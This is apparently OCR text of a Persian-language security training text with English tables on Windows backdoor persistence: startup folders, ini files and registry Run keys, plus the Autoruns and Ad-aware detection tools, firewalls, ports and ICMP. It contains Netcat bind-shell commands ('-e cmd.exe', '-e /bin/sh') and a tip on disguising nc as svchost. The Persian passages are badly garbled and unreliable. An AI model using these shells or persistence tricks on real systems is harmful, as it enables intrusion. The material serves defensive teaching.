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Windows Startup Files and Folders

File or How File or Folder Can Be Altered to Automatically Activate a
Folder Name Backdoor
Autostart The attacker places the backdoor or a link to it in these folders, which are
Folders activated at startup or while a user logs on to the system. On

Win95/98/Me, a single folder holds this information, located at
C:\Windows\Start Menu\Programs\StartUp.

WIinNT/2000/XP/2003 systems include an autostart folder, usually
associated with "All Users," as well as individual autostart folders for
individual users, located at the following locations:

e WInNT— C:\Winnt\Profiles\[user_name]\Start
Menu\Programs\StartUp

e Win2000— C:\Documents and Settings\[user_name]\Start
Menu\Programs\StartUp and (if upgraded from Windows NT) and
C:\Winnt\Profiles\[user_name]\Start Menu\Programs\StartUp

e WinXP/2003— C:\Documents and Settings\[user_name]\Start
Menu\Programs\Startup

Win.ini Win.ini contains information about initializing the operating system. This
file can be altered to start a backdoor in two ways. First, it could directly
execute a program referred to in the file, using the text "run=[backdoor]"
or "load=[backdoor]". Second, it could associate some suffix (e.g., ".doc"
or ".htm") with a backdoor program that would run every time a file with
such a suffix is executed by the system. This file location varies, but is
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File or
Folder Name

System.ini

Wininit.ini

Winstart.bat

Windows Startup Files and Folders

How File or Folder Can Be Altered to Automatically Activate a
Backdoor

typically located in:

o Win95/98/Me— C:\Windows\win.ini
e  WInNT/2000— C:\Winnt\win.ini
e  WIinXP/2003— C:\Windows\win.ini

This file contains settings for the system's hardware. On Windows 3.X
and Windows 9X, this file supported the "shell=" command, which is
used to specify a user shell to launch at system boot time. The shell will
be the main interface program that all users see when they boot the
machine. Attackers often modify the line "shell=explorer.exe" so that,
instead of starting up the Windows Explorer GUI, the system executes a
backdoor while the system boots. The backdoor then, in turn, starts the
actual user's shell, which is usually explorer.exe. On more recent
Windows versions (WinNT/2000/XP/2003), the operating system ignores
the "shell=" syntax in System.ini. Therefore, this method isn't used to
start a backdoor on these newer operating systems. This file is usually
located in the following places:

e Win95/98/Me— C:\Windows\System.ini
e WIinNT/2000— C:\Winnt\System.ini
e Windows XP/2003— C:\Windows\System.ini

This file is created by Setup programs when new software is installed and
some action is required by the system to complete the installation after
reboot. For example, when you install a new hardware driver, your install
program might make you reboot the system. As the system is rebooting,
Alternatively, this file can be used to steal the name of some commonly
used executable and assign it to a backdoor. When it is used, the file is
usually located in:

e Win95/98/Me— C:\Windows\wininit.ini
e  WINNT/2000— C:\Winnt\wininit.ini
¢ Windows XP/2003— C:\Windows\Wininit.ini

In older Windows systems (Win 9X), this file is normally used to start
old MS-DOS programs in a Windows environment. An attacker could
include a line with the syntax "@[backdoor]" to run an executable and
hide it from the user. If it is present, it will typically be located in
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Windows Startup Files and Folders

File or How File or Folder Can Be Altered to Automatically Activate a
Folder Name Backdoor

C:\Winstart.bat.

Autoexec.bat This file is relevant only on Windows 95/98 systems. It is ignored on
Windows Me, NT, 2000, XP, and 2003. For backward compatibility, it
supports launching programs by simply including a line that refers to the
program file, such as "C:\[backdoor]". If it is present, it will typically be
located in C:\Autoexec.bat.

Config.sys This file is relevant only on Windows 95/98 systems. It is ignored on
Windows Me, NT, 2000, XP, and 2003. This file loads low-level MS-
DOS-based drivers, and is not included on some Windows systems. It
could include a line to execute a backdoor. If it is present, this file is
usually located in C:\Config.sys.
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Registry Keys That Start Programs on Login or Reboot

Registry Key

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\RunServicesOnce

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\RunServices

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\RunOnce

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\Run

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\RunOnceEx

HKLM\SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Winlogon\Userinit

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\ShellServiceObjectDelayL oad

Purpose of the Key

Some programs are installed to run in
the background on a Windows
machine as a service, such as the 11S
Web server or file and print sharing
services. This registry key identifies
which services should be started
during the next reboot and the next
reboot only. For all subsequent boots,
the services will not be started.[1]

This registry key contains a list of
services to be launched at every
system boot.

This registry key identifies which
programs (not services) should be
started during the next reboot and the
next reboot only. For all subsequent
boots, the programs will not be
executed.

These programs are executed during
system boot.

Only available on Windows 98 and
Me, this registry key indicates scripts
and programs that are to be run at
boot time, but shouldn't be started as
separate processes. To improve
efficiency, these programs are not
run as separate processes, but are
instead invoked as separate threads
within various other boot
processes.[2]

This key contains the names of
programs to be executed when any
user logs onto the system. It typically
indicates the user's GUL.[3]

This registry key activates programs
after the Windows GUI starts up,
such as the system tray in the bottom
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Registry Keys That Start Programs on Login or Reboot

Registry Key

HKLM\SOFTWARE\Policies\Microsoft
\Windows\System\Scripts

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\Policies\Explorer\Run

HKCU\SOFTWARE\Microsoft\Windows
\CurrentVersion\RunServicesOnce

HKCU\SOFTWARE\Microsoft\Windows
\CurrentVersion\RunServices

HKCU\SOFTWARE\Microsoft\Windows
\CurrentVersion\RunOnce

HKCU\SOFTWARE\Microsoft\Windows
\CurrentVersion\Run

HKCU\SOFTWARE\Microsoft\Windows
\CurrentVersion\RunOnceEx

HKCU\SOFTWARE\Microsoft\Windows
\CurrentVersion\Policies\Explorer\Run

HKCU\SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Windows\Run

HKCU\SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Windows\Load

HKCU\SOFTWARE\Policies\Microsoft
\Windows\System\Scripts

HKCR\Exefiles\Shell\Open\Command

Purpose of the Key

right-hand corner of Windows and its
contents.

This key identifies various scripts
that will be executed when Windows
boots up.

The programs identified by this
registry key are started when the user
GUI (explorer.exe) is activated.

This registry key identifies which
services should be started the next
time a user logs on, one time only.
For all subsequent logons, the
programs will not be executed.

These services are started every time
a user logs onto the system.

These programs are activated once
when a user logs onto the system.

These programs are run every time a
user logs onto the machine.

These programs are executed without
starting another system process.

These programs are run each time a
user logs onto the system.

These programs are run each time a
user logs onto the system.

These programs are run each time a
user logs onto the system.

These scripts are activated every time
a user logs onto the machine.

This key indicates programs that will
be run any time another EXE file is
executed, a very frequent occurrence
on a Windows machine, to be sure!

ot > Uwgy ol 5> il L 39209 Task Scheduled 5l osléiwl (swgoe g )51 g,
U9 ) )'| oslaiwl U 1S (sw oslaswl NT/2000/XP/2003 sla 5939 Scheduled )'l
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mmand Prompt

C:“\Documents and Settings“fAchilles>at ~7?

The AT command schedules commands and programs to run on a computer at
a specified time and date. The Schedule szervice must he running to use
the AT command.

AT [“~computernamel [ [id]l [~DELETE]l | ~DELETE [-YE511]
AT [““~computernamel time [AINTERACTIVE]
[ /EVERY:datel....]1 | /NEXT:datel....1] “command"

SSCcomputername Specifies a remote computer. Commands are scheduled on the
local computer if this parameter is omitted.
Is an identification number assigned to a scheduled
command .
Cancels a scheduled command. If id is omitted. all the
scheduled commands on the computer are canceled.
Used with cancel all jobs command when no further
confirmation is desired.
Specifies the time when command is to run.
Sinteractive Allows the job to interact with the desktop of the usep
who is logged on at the time the joh runs.
severy:datel,...]1 Runs the command on each specified day{(s>» of the week or
@nnth. Ifddate is omitted, the current day of the month
is assumed.

snext:datel....] Runs the specified command on the next occurrence of the
day (for example, next Thursday). If date iz omitted,. the
current day of the month is assumed.

"command" Is the Windows WT command, or batch program to be run.

C:“\Documents and Settings“Achilles>_

bl Jeaso job @ wlizo 9,b 5l W ol jlul 1) Sla og= 9 wyslei b lowis il G
9 b Ulo,d swlod a4 WEST pd loww aS puS o,Lul aSs ul 4 pilgi s il H> 2w
b b odolS csubical b Ll 9 b aoly,y L8595 0,S LU S Jio Guizod 9 B g,
ol Lol o Lol a9 sdls Sl Sl puizod 9  0lod b lowiw s ol b ays,S
9 Ao JolS 29l Lo ows B 1l ool 5l wdel aS (soleMbl o (39S Csulbiowl
Wb s seisld e Jlusl oo b b cp,Swl s o)l by pogaz ol Sl )l
o pdwssw Sy, g, Backdoor <o wb (shas (sJgd @ b LISl o auoly sl S S5
S5 S5 9> wob L3 pud e sl s3I Ll ul U e U alS s pugiio (sl
o ) Sy aiod wgs. ALl wgi sw Sl 0aiS aws L8 b J3aw ol 5l p9S Lo @
2S sw el 9y uBaS eslaiwl LS aS diud Vlaaxio JSow il 9 8L sla
i @ a>lg Ol )> aS piS (o 9,20 oot @ 9) W= 9 Hlo @oliy S o il 5>
2185 s b8 loow Hlasl s o) Ll aed Luysi aidl g, oanw aisS Sle S>30 cswlod
Ll > s aolyy 4o aoliy 55 (sélol wleMbl dox> 5l od g, 5,55 a=io Wbl asl,
.\.&)t_s\.oULai;Jg)

4 ag>lo U awles o | 3ol s Free wygo @ asS |, aol,y oul Autoruns : aol
b o> olod @ ,www.sysinternals.com/ntw2k/source/misc.shtml#autoruns (uw,sl
59409 U bose sl sl Lyl euisS JwoSi sl Ll ol sSed aS 50 il
adl piS s Slpici b culw oul ,305 Sla awly 5l eslawl auS sl | aowd
Task oS JuosSi aS Process Exploree alo> ;| gAutoRUN Guod Jio Wl aod @
sowd wwlw Sld aol,y ado> 5l 1wl s Manager
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a Sysinternals Freeware - Microsoft Internet Explorer - [Working Offline] - |E||£|

File Edit ‘iew Favorites Tools Help | |'f'
- — 0 . . ) . T —

OBack - -_\_) b \ﬂ @ -_h | /.\J Search “:/:(‘ Favorites e‘Mel:ha 6‘3‘ == W - _I %
Address I@ hktp: e, sysinternals, com j a Go | Links *

Sysinternals
Mark Russinovich & Bryce Cogswell

ADWAMCED UTILITIES » TECHHICAL INFORHATION ' SOURCE CODE

RESOLRCES | SITEMAP | LICENSIN
] | _’lJ
[€ 2| | [ mtemer /4

150 KB 393> ,> Autorunsc pU @ Ol 0loyd shuw axus obosd @ Autoruns  aoli
dulos L=l g 05,8 wol)s | ul 5)ls x>

About Autoruns X|
:a Autaruns w61
i Copyright € 1996-2004
Syzintermals - wiaw, gozinternals. com

b ark Buzzinowvich
Brce Cogswell

b s Sy, J3a0 4 b lowtiwe |, b anlos SIS Jls 1o i3S 5l Spud o,
wwo SUS Luls CTFMON.EXE Sg, v oo Jbo Shy 5y adlgs b 5,90 aigy L 6

S

i Autoruns [|
File Entry Wiew LUser Help

“achilles] - Sysinternals: werer.sysinternals.com I

=10 %]

FIEEEY
duttorun Entry || Description | Publisher
g HELMASOFT'WAARE SMicros oftiwindows NT5CunenfVersiortwinlogoniUserinit
[ CoAwIND0WS Sspstem32huserint axe Uszerinit Logon Application  Microsoft Corporstion
4 HELM\SOFTWARE WicrosaftiWindows N T Cunenfersion\winlagonShell
B 4 Explorerexe *Windows Explorer Microsoft Corpoation
. f HELMASOFTWARE D [t AU iorA
%] L@ FroctiTray Fchl Mult-language [Mal verfied) Genius, Inc.
’ I Mot verfied TN
] ﬂ SpstemTray Syslray exe stub Microsalt Corposstion

23 CADocuments and Settingzial U zeziStart Menus\Programs\Startup
[ 1 adobe Reader Speed Launchlrk Adobe Acrobat SpeedLaun... [Not verfied] Adobe Spstem,

| @ GetRight - Tray lcan.nk GetRght® wiveve. getright.com (Mot verfied) Headhght Soft.
i HECUAS citware\Microsoft\w/indows\Cumeniersions Fun

B 3 CTRMON EXE CTF Loader Microsalt Corparation

Ready.
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&' Registry Editor =10] x|
Fiz Edk Yiew Favortes Help
{20 Hotepad (=] [ meme | Type | Data
0 Mbackup ] (D ault) REG_S2 ivalus ot set)
- @] Office REG_SZ CAWTHDOWS| Syt em3 2| etFrmon exe
! ] Outlook Exprass
i - Fust i, *
{ E-{] Prokected Storas
B RS Aukodid
¢ [ (] RAS Phonebook:
. =g L|_| - -
|M',l ComputeriHEEY_CLURRENT_LISER| SoftwareMicrosoftWindows CurrentVersionifun Jffjm— {,;;

Stealth g L,y S aoly swlod aS cowl il Autoruns  aoly S S
o Wl oul 5 Ul @ o 393 aS sl Bug S bol 3o (v Jiwlo 9 sulwlini |, Mode
.JJlS wwlod aS suso UJ| a4, wuwlTime Based )..S_u.;| S Cl.ob)._; UJ| aS cowl UJ| POy
03 LU pitauw H 8393 S;Ludled g, 5l a8 S (v ulwlow | suld aswgyn 9
Sl Scheduled Tasks aoly bwgi |, Sl aoliy S 3¢45 [ aSil i puogi Al
dulos oSewl | s AutoRuns b g, aow 5> Wie lowis 9 S pudais slaol 3 welw
D3l oy Bug ol J> Sy 5,8 dudles ulwlicds piuew Sg)y 50 L) oo > gud
250 0,00 00u o)Ll S J3a0 9 gilie @ manual b ssvows as>lo U 2wlgi (sw
Backdoor S, 0l i Sy, 1 o wle 55 aS 10y Uliwes @ 05w uyoi S
aixgol @y axgi b | 5l 5y90 (s 5> @S 391 28le> 556 lowds A Ay 9 S skl
S waS vlwle

gl S Ll L85 Seiws g @ s uld Ll Al e aS shiled
Shi 5l J3ae Us,)S S pogaxo B by il 5l conwd S adl Bldasw s>Lb
D dad sl il v iy S )

":‘E Ad-aware B0 Personal ! F_IE
Iu
iR 1 — 1 T b= | i
A-AWANEso k
Carourie i 0 0F O 3L sy s e - Saa e R L s rn e rvo )

Scan complete

Current operation

b Einiatad Objects scanned. 32161
_.L—J £ CADewnloady

- Summary

15 Running processes 1 Processaes identifred
D ek 126 Objects recagnized 94 Registry keys identified
- 0 Objects ignored T Ragistry values idenified

20 Files identiiad
126 New objects d 4 Folders identified
128 ilems L J
eV A5 0 T] Ad-gowore & Personal, Build 1862

S > 59>9 pac b d9>9 5l 0ani aisS S Caoud L eo>, L awlgi (s ju Ulings>
Wl anxi S)lase 5l esoge Gl Shy Al aS auS Ty Vlisabl (s
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loyi ol b (st 53 b oS b pwong

locs U csviiy S 5 5,1l o, Sl Jxo 9 £95 S 0,b s allio ol s Lo JS 55 wg>
bgiyo 3,05 518 Sriuuz; 55 aS L1 S Ul aS uan paseas aSil Sl eussS cuxo
oo b 9 pwog Su L oS S bgyyo jiSUsas > s b aul 0305 wuas Olisg>
£S5 9 @ Jworng So) 0 G el 1S IS ax b wowl Backdoor Sy Olosgs G
5 b Wew (s @i, ol pd U Ll awlis Lbls a o Backdoor uzoed g &
U s Olp> Sl Sl 53 Jlisbu b g sySlac bl 5l pugng b o o aS oS JS
36S (s Llpbl SBl s Wio il v wolssio oy wpseinbi 5l o Jwd pd
£S B ol 4wl ash cowl olscwl MolS ¢l @S ,wlbw pworg b Lundo ywgrg aS
Jwsir= Uwars Ulod b 9 wrxoe a0l W Gwgrng Shy cowlio Jle S g Vb
SaS g 5l &S diwd oo S Wby W yugng SwewMS w,ei Bubsg
5> B all, )5 9290 L19l py5 9 LISl e @ W5 WL ghhie W o Sl Lo
5 Sol, oS @ 5B as | asiow )> Jlaul LB gwarng woge i oslw @ Sasy pMS
28S 0,9 b wowd o 0l 9 059s Jioiigd i Ay S Al 5> 9 039 39>
owgwl> Sa L1l e i 93 S35 )5 wlgi (s L1 v B 9 1l Lye pd wilgT (s
) aScw 5> S)=io ywypg Glole S a0 b ja a0 6 b 2wl acils o [od @ |
S FTP o POP3 alom 5l csuld JSigy 5l oslaiwl b aS aiugS csw sl aubl, sla 0,8
ug.\J).&UoCUJJleSJClS.Lng)ngngJp)qu|9)J;._w| .\Jg_wdvo).umqs.._w
Llgi s Aol y ol Vs 55l olod @ Lo Sl anlyy 595 Js [ (g Ll sw Ll
Sla Josll jeiws S STy ibnd piiew 5> wad bl sl s gl S8 angy 5o
300 B 05 9 Ll Jlw)l 9 3,008 S (3d) o i 9 S8 o, Jio 3515, 000w o3l
BLN

ad Uy cowl ol Ko aS il b iy s o bl 5y uiin 5y @SS wgs
Shy  awpiawd £95 Sy iy 5> YU Wlae ab bl o YU g9 aw 5l plasS
aw > UeSLeS sla ISLw @ ilgi (s sawiwd dio ol b aS Lol s S3gss
)>>_9.>Cl5w.u|UJ|u.z;uﬂu>)9|)|uo)_9b.a.oJSJ>—>_9_qu.9)S)lS%\JbJS_w
)|Qwa)bm>)|ng;uMM%M|_59>LS)9.>CU_LU|9JL_5\NMLSL®
)>)Ja>qswcd).uo UlCl.gu._J_l Lol N SWY oslaiwl .J\.o.zogdvl.ng 59,9 LS|)4 ol
ssbio asly 35,50 by 55 B Ol> 055 9 ed 0,5 9 W Ywosg sbs 5l eS|, iy sla
g Olol 55 S 3985 Sy s 5l Abls aio A U aS csuds U aS ol ol oo
Sbbs po sk a4 u> - 538 cowl Jlgio Geod @ b serw Sy Shy Ul (sds wlo
bl (o a0 9 iy L Sy Sy v Jaio S j9rw Sy S 9 pwgg Sl
b s ol 53T RMS 55 = 59y v sl @ e Sy SUibs 08 ol i ol
Paiaw w9, 2 0wy backdoor Wgyee Sd aoly subwliw sl as /w_gg.l
@ sohio ol Shy e Lol Ll Gosides20 5l Ui b S b J8las Gl olule
ol 51 oo subwlisr 9 serie Gz b culiowl 5l a2 auloyd asgi Sasy Guse
U3,S 39duuno 9 U ow 3l a4 Ulkusgs vy LS 5l Uliuobl b a>gi U g 0w assS sla
15S olasl Ll
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SECRET AREA

RESTRICTED AREA

NO TRESPASSING

*BEYOND THIS
POINT fff_",‘_l'j_‘_e

¢« PHOTOGRAPHY IS

PROMIBITED

Ol 108 9 il (sw White Paper alio Sy los Sg) Jiuw bl Jls dlés as Ll
@ il s b 0w 9 B aiwsw So, 4 backdoors glgil cuar 9 SiSd Giujsol
Wl pudles Jaso job @ W aolis ool 348> 5,Slos (5SS 9 elsil Sg) 50
Sla a0l glgil cubwli uizod g vl cul U Olao adMe sulodl cap> ;5 bad
Cowl ol 39 (o bl iy e Ly wuai 9 adei G > ol @, LS @
oleMbl cowS Jis @ 395 pie S (suleadl, @ asgi U die adMe Oliwss

Bl 1 auo; ol )> Srim

D olb>Mo
9. 3ilue OLLIS 393 oxpe » Lo ol 5l (sijgel e oslewl  @igS L 9.5)0
20,05 OF IS 5 1) sidoguue agS @ud w9 ol uylw Capiieg dlio ool UBaicunss
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NetCat

093 (58595 aS Al Ll Ol b Hawil 9 4wl Bgyme S0 Hawil Sl ol puS o S8
aS Sl aiSs & s Al awls 18 IS @ Lil Sl adow 9 b Heiws puized 9,8
51 S8el> sl 3ga5 wldoe 5l as ULS 3985 aS cowl ul 1w, o o HdS a4 VI
2SSy pd el g auds sw ob i S50 oL U | ol Netcat.exe L (sulwlbow
slacl us,S aslol L vy S >l 0ol S )l Guizod 9 55 0,3 UL, sal,
aliw aS SVHOST 5l nc 5l osleiwl S @ Wi siulos (sw i (séo Ll (sd9,> L
a aS S sw osleswl SVCHOST pl.'l U j93u9 @J|)>| S awgy) M) )'| oS b leL_J_)'
O Aol 5l Ulgi (s sy 5 SO skl Sy, o wlal s SOl Ganwls sb
So wuer Ul iy 903, 5U L Buad piwiw Sgy (e S dg00 odlaiwl Seb oS
d_g_u.us j9J9 LSLBW Sqy M el as b_)|> ol&; Stand By ol @ |) Cl.ob).g
dul> S s pSwe S piusw Sg)y Ly Gowl Ulesgs> Cmd Vled L Ulo,d Lw
bowgi wol) Hlown 1lgi sw S >0 ol 5l A S (sule>8 |, Session L 1S

o 518, bla,l 5,05 518 oocw 5L whey iy aS Sl aoly 5l S o vlod b o Ui

Using Netcat 4 Backdoors Purpose

In Wind0z
nc [options] target system_name [remote_ port]

C:\> nc -1 —p [port_number] —e cmd.exe
C:\> nc —vvv [victim address] [port number]
In *NIX

$ nc -1 —p [port_number] —e /bin/sh

$ nc [victim address] [port _number]

Sl Sy osds ausgos s Mo |y oS i Hlonss el S 5,8 5l Sy 5SS YU s
9 W Ulo,d S i Aol il JLS w axgi Ul @ S B S8 aS uls Jul
9 uwed L aSui o Sy aS S s bl > 9 JLw,l Clear Type w0 @ |, wleMbl
9 S i Encryption sl S)lul Guod Sy 4SSyl 50 1) W Ol 9 05,8 (sulwlivw |,
» LS o ool uled Ulgi sw aS Cryptcat U a0 owl 0aui sl ol wlbls,)l
oo 30, bl S adlol a4 cobls Hlasl
5l seuis oo @8l Hlows @S s wlesgas ol U oS wo aslas aliv Sls aob,
f S
&S e aled )50 sl asly,y
Tini
Q
BindShell
MD5BD
UDP_Shell
TCP_Shell
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&S)S Shell sla OLolJ)._J ).g|).; R whble>

U bl o SSreie iy ,> Su Sey) o b G sy v UeS U aS ghiles
29> 9 39,9 J=o aS (sJgoso wls Sy 55 i Jbo Sl Gl @ | SigsolS L3 (spuliw
9 wleMbl (5>9,> 9 3959 S ,> ey W i i Sy S Wye Ll o S
il o oleMbl U 5 il o oleMbl bl Jbs il o wbl, Shy b oS,
Y 8lol e 550 gy il e B piaew S wyes Sdgye S ol sl Sy
Wbl piw S oye 5l wblas 5,8 Shell oMas il 55 pibo b ool o
9 Sumd S wyg U wowl Bgheo Silxo S wWies Soy 41 s bo . il o
|, &)es 65535 390>, 5 swsw Shls Sjlze Sl w)Hgs Ws,luliew! gudb Sl wsew
5940 (S0 pud L, >l S8 W ailws aw @ dwls (ul 395 aS g sw Jolii
1

1023-1 sla Wy

S g wws Gl U S o wee B Wy Gl LIS s weS uley wle
5l 039> ol 5> 5w Bgy20 Sl JSigy Sl Sl A o LU Bgyee 9 0wl
ol 9,20 S wygy 5l Solawi - ale,d axgi L5 Jgax a4 aGS (e wuled W w)y
2uloyd a>gi 09,3

Well Known Ports

Service Port Comments

TCP Ports

echo 7/tcp

discard 9/tcp sink null

systat 11/tcp users

daytime 13/tcp

netstat 15/tcp

gotd 17/tcp quote

chargen 19/tcp ttytst source
ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp mail

time 37/tcp timserver

name 42/tcp nameserver

whois 43/tcp nicname
nameserver 53/tcp domain

apts 57/tcp any private terminal service
apfs 59/tcp any private file service

rjie T7/tcp netrjs

finger 79/tcp

http 80/tcp

link 87/tcp ttylink

supdup 95/tcp

newacct 100/tcp [unauthorized use]
hostnames  101/tcp hostname

iso-tsap 102/tcp tsap

x400 103/tcp

x400-snd 104/tcp

csnet-ns 105/tcp CSNET Name Service
pop-2 109/tcp Post Office Protocol version 2
pop-3 110/tcp Post Office Protocol version 3
sunrpc 111/tcp

auth 113/tcp authentication

sftp 115/tcp

uucp-path 117/tcp

nntp 119/tcp usenet readnews untp

ntp 123/tcp network time protocol
statsrv 133/tcp
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profile 136/tcp

NeWsS 144/tcp news

print-srv 170/tcp

https 443/tcp Secure HTTP

exec 512/tcp remote process execution;

authentication performed using
passwords and UNIX loppgin hames
login 513/tcp remote login a la telnet;
automatic authentication performed
based on priviledged port numbers
and distributed data bases which
identify "authentication domains"

cmd 514/tcp like exec, but automatic
authentication is performed as for
login server

printer 515/tcp spooler

efs 520/tcp extended file name server

tempo 526/tcp newdate

courier 530/tcp rpc

conference 531/tcp chat

netnews 532/tcp readnews

uucp 540/tcp uucpd

klogin 543/tcp

kshell 544/tcp krcmd

dsf 555/tcp

remotefs 556/tcp rfs server

chshell 562/tcp chemd

meter 570/tcp demon

pcserver 600/tcp Sun IPC server

ngs 607/tcp ngs

mdgs 666/tcp

rfile 750/tcp

pump 751/tcp

grh 752/tcp

rrh 753/tcp

tell 754/tcp send

nlogin 758/tcp

con 759/tcp

ns 760/tcp

rxe 761/tcp

guotad 762/tcp

cycleserv 763/tcp

omserv 764/tcp

webster 765/tcp

phonebook 767/tcp phone

vid 769/tcp

rtip 771/tcp

cycleserv2 772/tcp

submit 773/tcp

rpasswd 774/tcp

entomb 775/tcp

wpages 776/tcp

wpgs 780/tcp

mdbs 800/tcp

device 801/tcp

maitrd 997/tcp

busboy 998/tcp

garcon 999/tcp

49151-1024 oa_i v Sld W) diws 2
65535-49152  swogax> U Suwolus Sl w gy aiws:3

o 05 laiwl Jad 9> 9 LJ9| S auws s O)9) )i)_b )'| asS Jwd (suld Shell axdl
gais s o3leiwl 1 aiws,; S0 5l iy 09> ws (g JiuS
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ouxod 9 IDS g Firewalls il S o)l U cuoles> o awogi Guyips 51 sy
v B 3l oy Guizod 9 WVlbo Slasi jw o il L, Lol sw W Port Blocker

95 x5 3> piS s Sy L Jlgnl il pe 0920 cp> 5l o ol Hloois
piS o (9,20 oo @ | puSio oslaiwl Loz o393 aS |, 15l

Personal
Firewall

Web Site

Claim to Fame

Zone Alarm  www.zonelabs.com  This tool controls both incoming and outgoing
traffic by assigning specific applications to certain
ports. It's available on a commercial basis, or free
for noncommercial, nonprofit use (excluding
educational and government organizations ... the
vendor employees have to feed their families

somehow, | suppose).

EZDnEAIarm Pro

Overview

Firewall

Program
Control

Antivirus
Monitoring

E-mail
Protection

Privacy

ID Lock

Alerts & Logs

1M
OUT TRERERERNND

Overview
Welcomel

You're protected by
Zoneslarm Prol

Mo further setup is
necessary — Fonedlarm
Pro wvill alert you if you
need to make any
adjustments.

See how Zonedlarm Pro
iz protecting you by
viewving the security
statistics to the right.

Status

Blocked Intrusions
22419 Intrugionz have been blocked zince install
5 of thoze have been high-rated

Inbound Protection

g The firewall has blocked 2249 access
‘“—J attempts

Outbound Protection
v:’i’lg 34 program(z] zecured for Internet access

: E-mail Protection
IIu Mail5 afe iz on
] 0 zuzpect e-mail attackments quarantined

[l Antivirus Monitoring
&% monitoning iz on

Product Info

=10l x|

© Help

Preferences

Tutorial

Click here.

An update is
available!

Click Here

What's New
at
Zone Labs

I~Learn Mare
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. Personal Firewalls for Windows Systems

Personal Web Site Claim to Fame
Firewall

www.kaspersky.com Kaspersky Anti-Hacker is a personal firewall that is
designed to safeguard a computer running a

Kaspersky Windows operating system. It protects the computer

Anti- against unauthorized access to its data and external

Hacker hacker attacks from the Internet or an adjacent local
network.

Kaspersky Anti-Hacker:

e Monitors the TCP/IP network activity of all
applications running on your machine. If it
detects any suspicious actions, the program
notifies you and if re-quired, blocks the
suspect application from accessing the
network. This allows you to preserve
confidential data on your machine. For
example, if a Trojan tries to transmit any
data from your computer, Kaspersky Anti-
Hacker will block this malware from
accessing the Internet.

e The SmartStealth™ technique makes it
difficult to detect your computer from
outside. As a result, hackers will lose the
target and all their attempts to access your
computer will be doomed to fail. Besides,
this allows for prevention of the DoS (Denial
of Service) attack of all types. At the same
time you will not feel any negative influence
of this mode while working on the Web: the
program provides conventional transparency
and accessibility of the data.

o Blocks the most common hacker network
attacks by permanently filtering the
incoming and outgoing traffic, and also
notifies the user about any such attacks.

o Monitors for attempts to scan your ports
(these attempts are usually followed by
attacks), and prohibits any further
communication with the attacking machine.

o Allows you to review the list of all
established connections, open ports, and
active network applications, and if required,
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Personal Web Site Claim to Fame
Firewall

lets you terminate unwanted connections.

e Allows you to secure your machine from
hacker attacks without special configuration
of program settings. The program allows
simplified management by choosing one of
five security levels: Block all, High,
Medium, Low, Allow all. By default the
program starts with the Medium level, which
is a training mode that will automatically
configure your security system depending on
your responses to various events.

o Allows flexibility of security system
configuration. In particular, you can set the
program to filter network operations into
wanted and unwanted, and you can configure
the Intrusion Detection System.

o Allows you to log certain security-related
network events to various special-purpose
logs. If required, you can define the detail
level of the log en-tries.

3 Kaspersky Anti-Hacker

Service  View  Help

B BETS N
K KASPERSKY"ANTI-HACKER

SEOURAITY

Current security level

....... Block all [ | want ta be natified about netwark, achivib
af the applications o that | can configure
....... High the zecurity spstem for optimal performance.
[recommended for beginners]
tedium & |
Low ‘
|
Allows &l | [ Stealth mode

Dear uzer, Thank you for choozing Kazpersky Anti-Hacker
D product will zecure the data and the rezources of your computer while

pou browse the Intemet. KAs!’ZR*KYﬂ

Ready
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S pwiloahis puS sw Slpiiw B 5 sl ad,> sl i o) Kaspersky Il
gl U s & wlp> (svasy 55 oo b 5l (sJg S (5w 99 Zone Alarm U ,laso
Lin pabais wgx a8l oyls as ISl Sy (o bl Hips o Mls S o Syl
A Guyes 5l S Ao il GuySl 9 0y saw o) Lo alog> g5 slu> Ugi sw
aS kaspersky 09,5 aS il sw ;S5 @ o3V o)l Sy LU S sl Juwilxinel (g
S b3 4o 9 pwgsg 1o Wl 5l i S50 W bl (o Qg 5D NS >
c8lwg,Sao aS aaly s boi> 1l aid)S oape @ |, wdlwg,Suo sl aill,
aod Juol ;)5 aS 09,5 il b9 05,5 Jg g, UlLZs 9 Siiloww Jio oS, S silyoS
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ICMP Definition

Internet Control Message Protocol (ICMP)

Data sent to a remote computer often travels through one or more routers; these routers can encounter a number of
problems in sending the message to its ultimate destination. Routers use Internet Control Message Protocol (ICMP)
messages to notify the source IP of these problems. ICMP is also used for other diagnosis and troubleshooting
functions.

The most common ICMP messages are listed here. Quite a few other conditions generate ICMP messages but their
frequency of occurrence is quite low.

e Echo Requestand Echo Reply— ICMP is often used during testing. When a technician uses the ping
command to check connectivity with another host, he is using ICMP. ping sends a datagram to an IP
address and requests the destination computer to return the data sent in a response datagram. The commands
actually being used are the ICMP Echo Request and Echo Reply.

e Source Quench— If a fast computer is sending large amounts of data to a remote computer, the volume
can overwhelm the router. The router might use ICMP to send a Source Quench message to the source IP
to ask it to slow down the rate at which it is shipping data. If necessary, additional source quenches can be
sent to the source IP.

e Destination Unreachable— If arouter receives a datagram that cannot be delivered, ICMP returns a
Destination Unreachable message to the source IP. One reason that a router cannot deliver a
message is a network that is down because of equipment failure or maintenance.

e Time Exceeded— ICMP sends this message to the source IP if a datagram is discarded because TTL
reaches zero. This indicates that the destination is too many router hops away to reach with the current TTL
value, or it indicates router table problems that cause the datagram to loop through the same routers
continuously.

osls gg5 JLw,l gloil 51 (sSu g3lg 5> wwl Ulosg> Ping wlod JSGg,u el 5l Jbio Sy
ICMP  osls Sy L8505 €95 d940 (sw odlaswl Ping wlo,d ;> aS wowl Echo
9 S50 s On 5l BT sl Ping Vaol sl ,31 cowl Quench Message
ICMP Time Guwzod 9 @ o3l Jluw)l wey,w judlS wowlss>,> sluQuench
Cowl )5 w5 Ulo; 5l @Bl wp> Stamp Messages
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Remote GUI Tools from Commercial Companies and
the Computer Underground

Tool

Virtual
Network
Computing
(VNC)

Windows
Terminal
Services

Remote
Desktop
Service

Citrix
MetaFrame

PCAnywhere

Group
That
Released
the Tool

AT&T
Laboratori
es
